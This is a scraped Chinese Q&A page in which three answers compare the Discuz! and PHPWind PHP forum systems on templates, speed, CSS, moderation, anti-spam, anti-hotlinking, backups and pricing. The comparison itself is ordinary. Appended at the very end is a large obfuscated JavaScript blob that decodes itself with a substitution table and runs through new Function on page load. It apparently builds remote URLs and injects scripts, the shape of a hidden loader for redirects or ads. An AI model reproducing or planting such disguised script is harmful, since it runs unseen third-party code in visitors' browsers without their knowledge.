discuz好还是phpwind

2025-01-13 17:00:09
推荐回答(3个)
回答1:

discuz!(简称dz)和phpwind(简称pw)是国内最著名的两个PHP论坛系统,随着它们相继宣布开源以后,在各方面,不管技术上,还是功能上,还是界面上,都有了长足的发展,声威大振,远非国外那些功能简单的电子公告板系统可比了。其造成的一个副作用是大大带动了PHP在国内的普及(本人就是在寻找合适的论坛程序的时候,才开始关注PHP,进而不能自拔的 )。

客观的说,目前的pw和dz各有短长,其互相之间的激烈竞争应该说提高了PHP论坛的水平,在功能上不仅赶上了以功能多和漏洞多而著称的动网论坛,而且因为它们的效率和速度远远超过动网,弄的动网市场大大萎缩,原来的一些动网论坛都纷纷转换成了dz或者pw,搞的动网都不得不开始弄PHP论坛了。

要说他们哪个更好,是比较难的事情,毕竟各有短长,俺也不敢在这里妄下结论。不过从市场份额和网上的言论来看,目前dz还是略占上风的,而且去年国内好几个知名的大论坛都转换成了dz(比如凤凰网、牧文、tompda等),而pw在大网站方面收获甚小。

但是毕竟对好多新手来说,他们都要面临一个选择论坛程序的问题,因此,dz和pw哪个更好,也就成了经常被问的问题,这种没有答案的问题,自然要被反复问起。本文试图从比较深的层次来分析两个论坛的优劣,为新手提供选择的参考。如有错谬之处,欢迎批评指正。

一、界面篇

首先,从界面上说,从整体上说,dz的界面比较美观,整体感好。
pw的界面给人一种模仿dz的感觉。同时在界面的细节上,看起来pw还是没有dz完美。

二、技术篇

从技术上说,pw和dz都使用了文件方式的数据缓存技术,通过把常用的数据表,比如论坛版面设置参数、基本参数等,生成静态缓存文件(根据条件触发更新或者手动更新),来减少数据库读取次数,提高效率,在这个方面两者非常相似。

1、模版技术
从模版技术上说,dz从2.5f版就开始采用的这种静态模版技术,从俺个人角度上说,还是非常适合论坛这种频繁更新的网站程序使用的。它通过动态生成静态模版的方式,解决了模版解析效率的问题。

同时,dz的这种模版方式,使得修改界面也比较容易,很直观。

而pw使用echo语句的这种方式(姑且称其为模版),就寒碜多了,要增加了一个if判断条件,就要折腾半天。添加了混合PHP代码的模板,在 dreamweaver中也容易被误操作删除。特别是如果修改的时候稍有不慎,很可能会使网页成了白板(没有输出),让俺每次修改pw模版无不如履薄冰,战战兢兢。。。。恐怕这也是第三方模版中,dz远远多于pw的原因吧。

不过pw目前在模版上也在改进,现在看verycms 3.0就已经开始使用真正的模版技术,不过目前用的都还比较初级。。。

2、速度问题
从模版上看,两者的效率应该是差不多的,pw的模版其实就是直接包含的混合了PHP语句的一部分PHP文件,而dz的模版平时并不需要解析,所以效率应该是差不多的,但是网上总是有人声称网站使用dz的速度比pw慢,这方面本人没有测试过,不敢妄作评论。而且网站访问速度还是要受很多因素的影响,比如:本地网速、服务器带宽、心理。。。。。客观的评价还是很难的,除非使用专业技术手段。不过从官方网站的速度来看,明显还是pw占优啊,呵呵

最近看了一下dz的CSS文件,明显是用CSS用的有点过度了,在dz中大量使用了CSS,CSS文件高达16KB左右(pw只有2KB左右),可能造成了IE渲染网页的时候,效率比较低。同时,由于dz的CSS文件过于庞大,只好采用了外置的方式(Link)。

这样如果网速很慢,网页已经或者部分下载完,而CSS文件下载没完成(网速慢的时候,常常发生这种情况),那么网页根本就不能正常显示。

在网速慢的时候,光dz的CSS文件,就要用好几秒,甚至十几秒的时间才能下载,而整个网页只能在CSS下载完成以后才能进行正确的显示,这就无怪乎在网速慢的时候,dz表现大大逊色于pw了。

相反,pw在设计CSS的时候,明显是比较简洁,这对网页的渲染肯定是比较有利。同时,pw采用了把CSS文件嵌入的方式,尽管每次访问网页都造成了几K 个字节的流量,但是实际影响并不大,反而觉得网页打开速度比dz要快(这就是pw用了一个笨法子,却常常效果比dz强的典型案例)。

这方面,建议dz痛下决心简化过分臃肿的CSS文件,提高网页速度。

三、功能篇

下面俺就dz5.5和pw5.3的功能,做一个简单的,本人看来是比较深入,可能高手看来仍嫌浅显的分析,请大家指正:

1、登录方式:
pw的前台登录和后台登录采用了不同的Cookie方式,这样前后台分开的方式,个人感觉,有利于安全,也便于管理。后台帐号与前台帐号可以彻底分开。

而dz的前后台登录是用了一个帐号,尽管在进入后台的时候再次提示输入密码,不过还是不如pw方便。

比较特别的是,dz在注册的时候,要求输入提示问题(选填),而且在登录界面中,也有提示输入的界面,个人感觉,绝对的画蛇添足,无聊。如果说使用提示问题来找回密码,还是有点道理的。用提示问题的方式,让新手看了无所适从,脑袋都晕了

2、分栏显示:

pw从5.0.1开始支持左右分栏显示了,然而功能太简单,不能树状显示子板块,此功能与其说有,不如说没有,弄的有点搞笑,属于半成品(倒是也符合pw的一贯特点--喜欢推出一些不完美的东西让大家修改)。

看了dz5.5的分栏显示,做的还是比较完美的,感觉相当不错了。

3、后台管理的效率:
pw的横向操作非常不错,大大节省了管理的难度,特别是在根据用户组设置权限的时候,非常的那个方便啊,这方面dz需要改进。

dz提供了一个方案的方式来解决后台重复操作问题,应该说也有一定道理,但是用起来不太容易上手,如果是设置一个单独的项目,就比较繁琐。

4、个人空间(文集)功能:
dz5.5内置了minispace个人空间功能,可以说自从discuz合并了supsite以后,在论坛功能的外展方面,占据了很大优势,吸引了很多个人网站的注意力。

这个minispace用dz官方的话说,是这样的:
“完全利用论坛原有资源,会员不必更多付出,即可拥有个性展示页面
与 X-Space 完美结合,可顺畅实现 MiniSpace 与 X-Space 自然过渡 ”

大体看了一下,发现这个minispace做的很不错,利用它,用户可以把自己的优秀帖子整理出来,形成一个文集的方式,方便别人访问。以前在别的论坛见过这个功能,觉得很不错,没想到dz把它整合进去了。这个功能已经可以满足大部分论坛的功能要求了,如果要求更高,比如希望能让用户发布b0客文章,按照官方的说法,也可以迁移到X-space中去。但更重要的是,minispace是开源的,而X-space的源代码并不开放。

说到X-space,我们觉得,pw在功能上虽然足以和dz匹敌,但是在论坛的外延上,却比dz落后了好多。X-space能实现以论坛为中心的个人空间功能,而pwblog(已经改名为Lxblog,正式版未推出,本文仅以5.1.5版本为例)却和论坛貌合神离,帖子推送功能虽然从4.3.2就有了,然而却一直不好用,4.x推送以后,图片和附件都不正常,5.1.5虽然可以推送正常了,然而在论坛中更新的帖子,在b0客中却不再出现回帖,可以说推送功能在pwblog中只是一个无用的点缀而已。

说到底,我们常常希望的只是一个论坛帖子文集功能的方式,pwblog把论坛中的内容重复推送到b0客中,既浪费空间,又没有意义,这方面dz远远胜过了 pw,值得表扬。但minispace的功能还是略显简单了些,比如没有文集帖子的分类功能、没有首页推荐帖子等等(也许论坛帖子的分类意义不大,不过有总比没有强吧?)

5、防灌水技术

pw5.3终于接受了俺提出的新手注册第N贴以前发帖使用验证码的方式,这样既不影响老用户的使用,又通过验证码方式来限制恶意灌水机器人。dz未提供此功能,但是具有可以设定第N贴以后不用自定义问答的功能(dz的验证码很烂,根本看不清,用自定义问答似乎更好一些)。

在防止自动注册方面,pw和dz都使用了自定义问答方式防止自动注册的办法,具体原理很简单,两者实现的都差不多。区别在于,dz要求设置10个以上的问题才能生效,而pw只能设置一个问题。另外,还有一个区别,就是pw可以自定义问答中内部使用的form变量名,可能在防止恶意自动注册方面,会更加有效一些。pw的自定义问题只能用于注册,而dz的可以用在注册、发帖和短消息等方面。

从目前的具体应用来看,用一个问题就基本上解决了自动注册的问题(长时间实践发现的结果),当然也不排除特大型网站,用一个问题容易被攻破的可能性,这方面dz可能就更有效一些。只是dz限制要求10个以上才能生效的做法,令人费解。

6、前台管理功能
pw具备副版主功能,不过和一般的思路不同,副版主是由版主任命的,这样恐怕会导致权限混乱问题,所以也很少有人用这个功能。

在前台的管理功能中,pw更方便一些,不仅的主题列表中能进行管理,在帖子内容页面中的管理方式比dz用下拉方式更直观一些。而且在一个主题里面删除帖子,pw比dz直观多了。

费解的是,pw5.3版本中移动帖子,都会在帖子前面加入移动提示“本帖被 xxxx 从 xxxx 移动到本区(xxxx年xx月xx日) ”,无法消除,真是难看极了(以前版本没有这个毛病)

dz实现了“沉贴”的功能,可以把那些偶尔被人翻上来的无用垃圾贴沉下去,确实方便多了。。。。有次俺在pw中为了沉一个帖子,不得不提前了N个帖子。而且dz的版主管理功能,加亮、精华等操作都能一气呵成,比pw方便好多。

7、所见即所得编辑器
dz5.5和pw5.3开始,不约而同的把所见即所得编辑器换成了ubbcode(两个论坛名称不一样,这里用个通俗一点的名称,暂称为UBBCode)方式的编辑器,而放弃了原来的HTML可视化编辑器。

说起来,这个ubbcode可视化编辑器确实解决了以前采用代码方式,无法可视化,导致好多非IT人士发帖无法控制格式;而和动网一样使用HTML方式,又产生大量冗余代码和安全性隐患的问题。

不过造成的后果却是,在转贴的时候,以前可以直接从别人的网页上,连图片带文字一起转过来,却是非常方便,虽然有盗链之嫌。换成了这种编辑器,再也没法那么方便了,因此在换了编辑器以后,官方论坛中是怨声载道一片。。。。而且新的编辑器还有好多小BUG,更加是引起了广泛不满(另注:用了一段DZ后发现,dz 5.3的所见即所得编辑器好像存在很多问题,几乎无法用,这方面可能还不如pw的编辑器好用一些)

8、附件上传和所见即所得功能:
pw的附件还是只能提交帖子上传以后才能进行图文混排,这方面dz要好的多,可以上传前就进行混排,方便多了

dz对不参与上传的图片附件还是显示太多信息,看起来影响美观(似乎是受vbb和phpbb的影响比较大)。而pw只是显示了“图片”字样和描述信息,但是更恶心的是,却把这些图片放到正文文字上方 ,真是屡教不改啊

9、附件防盗链技术的分析:
dz采用了隐藏图片地址,和检测访问来源(可选)的办法来防盗链,应该说服务器负担比较大,效果还行,但不能彻底解决问题。

pw用的办法更简单,但更有效一些:就是定期或者自动修改附件目录名,应该说这是一个投资少见效快的好办法,技术上也很简单。不过最新的pw5.3版本也引入了隐藏附件地址的方式,后台也似乎无法关闭此项功能,似乎有点画蛇添足的味道了。。。。

发现dz也可以在后台手工修改附件目录,也可以起到一定效果,只是没有自动修改的功能。

10、广告功能:
dz比pw要好一些,广告功能更完善一些。比如贴内广告,在帖子下面的位置类似动网的位置,看起来更整齐一些,而pw的位置就让帖子布局显得比较凌乱,不好看。dz的贴间广告可以插入大的Google Banner广告,或者其它图片形式的广告,展示效果很好。

相比dz,pw广告的插入位置更少一些,效果也差一些。

11、头像显示:
dz不能限制上传头像的长宽尺寸,只能限制总像素数,显得不够灵活,不如pw方便。而且超出了一定尺寸的头像,被自动缩放和拉伸了,看起来很难看。而且 dz还自动给头像加了一个边框,甚是恶心。可见dz把简单的事情给弄复杂化了,其实只要和pw一样,限制其尺寸,根本不需要拉伸。

12、附件尺寸限制:
pw只能设定所有附件的尺寸,而dz可以对个别格式的附件设定上传尺寸,比较灵活一些,特别适合一些flash网站,或者技术型网站(比如上传大尺寸图纸等)。

13、词语过滤:
pw只能使用普通方式过滤,不支持大小写(很简单的事情,官方就是不办,举手之劳啊)。

而dz不仅能识别大小写,而且具有了一定的模糊识别功能,相当不错了。当然,要是能直接支持正则表达式就更爽了。

14、自定义代码功能:
pw至今不支持自定义wincode代码,比较僵化。要增加功能,就只能修改js文件,太过麻烦。。。。

dz在这方面做的比较完美,要增加或者减少代码、修改播放界面尺寸都很容易,在后台设置一下就可以了

15、回收站功能:
dz可以设定自动清理,而pw不能

16、IP来源显示功能:
dz的IP地址和来源显示类似动网,看起来不太方便,需要点击小电脑图标才行。还是pw的IP地址来源显示看起来比较舒服一些。

17、防CC攻击:
pw早在4.3.2就增加了抗CC攻击功能,而且设置起来比较简单,新手也能看懂。当初俺就是因为这个原因才用了pw。

dz5.5虽然号称带有cc攻击防护,不过看起来比较难于理解,在后台找了半天也没找到,估计新手是操作不了的。当年某著名站长论坛(用dz)可就是被CC攻击搞的长期开不了张的,看起来dz的防CC攻击功能还有待改进。

18、备份功能
pw能支持对pw程序以外的数据表进行备份,而且判断标准不是根据表前缀。可以单独备份pw表以外的数据表,对于那些建立了新表的插件,备份数据超级容易,这方面比较人性化。

dz只是根据表前缀来进行备份,比如你设置一个表,叫做cdb_test,那么它会把它认为是论坛数据表而进行备份。但是如果你设置一个表,叫做test,那就自己想办法去吧。。。。

但是dz比pw强的是,备份可以压缩,压缩后下载和转存备份文件应该会节省巨大的空间和时间,对于超大型论坛应该是非常管用的。dz备份可以指定文件名,而且备份数据用十六进制表示(安全一些,但是占用空间会大一些),估计导入和恢复的中文内码问题就不会存在了。

另外,dz还可以备份MySQL Dump备份(不推荐使用)。

19、文件和数据库校验:
dz内置了文件和数据库校验的功能,pw只是官方提供了一个文件校验工具,不过用起来有点莫明其妙,有时候提示使用的函数在php文件中根本不存在

20、主题推荐和相关贴功能:
dz通过qihoo实现了相关贴的功能,而且还可以支持主题推荐,这方面比pw强了很多。

21、模版和风格设置
phpwind可以在后台设置风格CSS文件,虽然新手不太容易上手,但确实还是比较方便的。
dz更进一步,把css的内容给解释成了表单的形式,让新手也能操作,不过带来的缺点更加大了:如果你想在CSS中增加控制(比如调整行间距等),就不知道该怎么弄了,只好去修改模版。好在dz还提供了一个附加功能:在后台可以直接修改模版,而且编辑界面中还带搜索功能,总算是亡羊补牢了

dz以较大优势在功能上超过pw,而且在dz有些胜过pw的功能上,好多都是以较大优势取胜。

四、总结

总体来说,dz在功能上,界面上,技术上,论坛功能外延上,都胜过了pw。但pw也并非一无是处,其抗CC攻击功能,简洁快速的界面,强大的管理功能,独到的防盗链技术,都很有特色。所谓仁者见仁,智者见智,选择pw还是dz,仍然是一个个性化的问题,具体取决于你对他们的某项特点是否看重。

另外,感觉dz在浏览器兼容性上有点小问题,有时候会出现提示,什么从来路不明的什么东西提交信息,检查norton internet security配置之类的烦人问题,而且dz的验证码太恶心,根本看不明白,都赶上动网的烂验证码了,基本上没法用,只好关掉算完。

需要说明的是,如果是新手,需要选择论坛,还是建议选择dz,因为功能比较多,论坛的外延开发的比较好(supsite/X-space做的很不错),用起来方便一些,而且模版修改起来比较简单,容易上手。
pw只是适合老手,和对论坛外延功能不太感兴趣的那些人使用,而且pw的模版修改起来相当困难,稍有不慎就容易出错,对新手不合适。
PW适合娱乐站,速度快,功能多,官方集成各种插件,几乎不用维护
pw现有的功能=dz+银行+多附件上传+在线会员统计+特殊用户组添加+节日送礼
个人认为phpwind比较方便些,对于那些不想花时间装插件的人来说上手更容易

回答2:

晕,这样的问题已经严重重复了~简单打个比喻吧,PHPWIND就像兼容机,如果你稍微懂一点PHP,html,DIV+CSS,MYSQL这些东西,可以非常容易的改造成你想要的样子;扩展也非常开放,PHP168、DEDECMS等都可以整合,当然,整合度多少是有些不尽人意的,需要根据需要自己重写一些东西;免费插件和模板很多;程序的负载和速度相对较快;官方论坛里面的人也相对热情些~不过缺点也有,程序BUG不少,而且偶尔会相当影响使用。

DISCUZ就像品牌机,就算你是程序高手,它加密的东西也很多,能够修改的程度是有限的,不过大多数时候你也不需要修改得那么深入;扩展的博客啊,商城啊都是他们自家的东西,开放的很少,整合程度比较高,不过条件苛刻,不一定能完整用得起来;有很多免费插件和模板,但是很多也需要收费;程序比较花哨,所以负载和速度稍微差一点,当然,低负载下没什么区别的;官网论坛里面的人稍微清高一点啦~哈哈;程序BUG同样不少,但是相对来说每次发布要严谨些,小毛病居多。

总结一下就是,喜欢自己折腾的话,PHPwind可玩性是很高的;如果求个平安认真经营论坛的话,Discuz则是更好的选择了,当然规模做大了的话就需要花些钱维护了~

回答3:

一般来说官网都有体验站,可以去试用
discuz,phpwind,OpenSNS几个各有特色,主要看需求契合度和预算成本吧
商业授权价格差的还是非常多的~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();